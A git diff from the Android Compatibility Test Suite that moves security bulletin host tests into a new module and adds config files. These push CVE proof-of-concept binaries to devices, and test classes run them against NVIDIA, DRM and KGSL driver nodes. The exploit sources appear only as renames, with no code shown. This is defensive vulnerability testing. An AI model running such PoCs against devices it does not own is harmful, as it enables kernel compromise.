-     */
-    @SecurityTest
-    public void testPocBug_36730104() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runCommandLine("dmesg -c" , getDevice());
-        AdbUtils.runPocNoOutput("Bug-36730104", getDevice(), 60);
-        String dmesgOut = AdbUtils.runCommandLine("dmesg", getDevice());
-        assertNotMatches("[\\s\\n\\S]*" +
-                         "hdd_extscan_start_fill_bucket_channel_spec: " +
-                         "[0-9]+: attr bucket index failed[\\s\\n\\S]*",
-                         dmesgOut);
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index fb09788..3170ece 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -59,6 +59,7 @@
  * run as the shell user to evaluate aspects of the state of SELinux on the test
  * device which otherwise would not be available to a normal apk.
  */
+@CddTest(requirement="9.7/C-1-1")
 public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
 
     private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
@@ -170,7 +171,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-2")
     public void testGlobalEnforcing() throws Exception {
         CollectingOutputReceiver out = new CollectingOutputReceiver();
         mDevice.executeShellCommand("cat /sys/fs/selinux/enforce", out);
@@ -182,7 +183,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-3")
     @RestrictedBuildTest
     public void testAllDomainsEnforcing() throws Exception {
 
@@ -348,7 +349,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testMLSAttributes() throws Exception {
         assertNotInAttribute("mlstrustedsubject", "untrusted_app");
         assertNotInAttribute("mlstrustedobject", "app_data_file");
@@ -359,7 +360,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testValidSeappContexts() throws Exception {
 
         /* obtain seapp_contexts file from running device */
@@ -427,7 +428,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testAospSeappContexts() throws Exception {
 
         /* obtain seapp_contexts file from running device */
@@ -448,7 +449,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testAospFileContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -486,7 +487,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testAospPropertyContexts() throws Exception {
 
         /* obtain property_contexts file from running device */
@@ -511,7 +512,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testAospServiceContexts() throws Exception {
 
         /* obtain service_contexts file from running device */
@@ -532,7 +533,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testValidFileContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -577,7 +578,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testValidPropertyContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -613,7 +614,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testValidServiceContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -649,7 +650,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-1-4")
     public void testNoBooleans() throws Exception {
 
         /* run sepolicy-analyze booleans check on policy file */
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
new file mode 100644
index 0000000..a07fbbd
--- /dev/null
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_RESOURCE_DIRS := res
+
+LOCAL_MODULE_TAGS := optional
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+# Must match the package name in CtsTestCaseList.mk
+LOCAL_MODULE := CtsSecurityBulletinHostTestCases
+
+LOCAL_MODULE_CLASS := JAVA_LIBRARIES
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+LOCAL_CTS_TEST_PACKAGE := android.host.security
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
new file mode 100644
index 0000000..d3d9265
--- /dev/null
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Security Bulletin host tests">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
+        <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
+        <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
+        <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
+        <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
+        <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
+        <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
+        <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
+        <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
+        <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
+        <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
+        <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
+        <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
+        <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
+        <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
+        <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
+        <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
+        <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
+        <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
+        <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
+
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
+        <option name="runtime-hint" value="32s" />
+    </test>
+</configuration>
diff --git a/hostsidetests/security/res/cve_2017_0859.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0859.mp4
similarity index 100%
rename from hostsidetests/security/res/cve_2017_0859.mp4
rename to hostsidetests/securitybulletin/res/cve_2017_0859.mp4
Binary files differ
diff --git a/hostsidetests/security/securityPatch/Android.mk b/hostsidetests/securitybulletin/securityPatch/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6730/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6731/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6732/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/local_pwn.h
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/local_pwn.h
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6733/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6734/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6735/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-6736/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8425/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8426/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8427/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8428/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8429/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/local_poc.h
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/local_poc.h
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8431/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/local_poc.h
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/local_poc.h
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8432/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8460/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8479/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8479/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8479/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8482/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0333/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2017-0333/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0333/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2017-0333/local_poc.h
rename to hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0333/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2017-0333/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0508/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2017-0508/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0508/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2017-0508/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
new file mode 100644
index 0000000..6800dc9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef COMMON_H
+#define COMMON_H
+
+#include <time.h>
+#define MAX_TEST_DURATION 300
+
+// exit status code
+#define EXIT_VULNERABLE 113
+
+time_t start_timer(void);
+int timer_active(time_t timer_started);
+
+time_t start_timer(){
+  return time(NULL);
+}
+
+int timer_active(time_t timer_started){
+  return time(NULL) < (timer_started + MAX_TEST_DURATION);
+}
+
+#endif /* COMMON_H */
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
similarity index 100%
rename from hostsidetests/security/src/android/security/cts/AdbUtils.java
rename to hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
similarity index 81%
rename from hostsidetests/security/src/android/security/cts/Poc16_10.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index d04ebea..da8da31 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -16,24 +16,10 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import android.platform.test.annotations.RootPermissionTest;
 import android.platform.test.annotations.SecurityTest;
 
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Scanner;
-
 @SecurityTest
-public class Poc16_10 extends SecurityTestCase {
+public class Poc16_11 extends SecurityTestCase {
 
     /**
      *  b/30904789
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
new file mode 100644
index 0000000..aba9ed0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -0,0 +1,127 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_01 extends SecurityTestCase {
+
+    //Criticals
+    /**
+     *  b/31797770
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8425() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799206
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8426() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799885
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8427() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
+              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31993456
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8428() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32160775
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8429() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32225180
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8430() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+        }
+    }
+
+   /**
+     *  b/32402179
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8431() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32447738
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8432() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32125137
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8434() throws Exception {
+        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
+            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31668540
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8460() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
+            assertTrue(!result.equals("Vulnerable"));
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
new file mode 100644
index 0000000..98e45ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
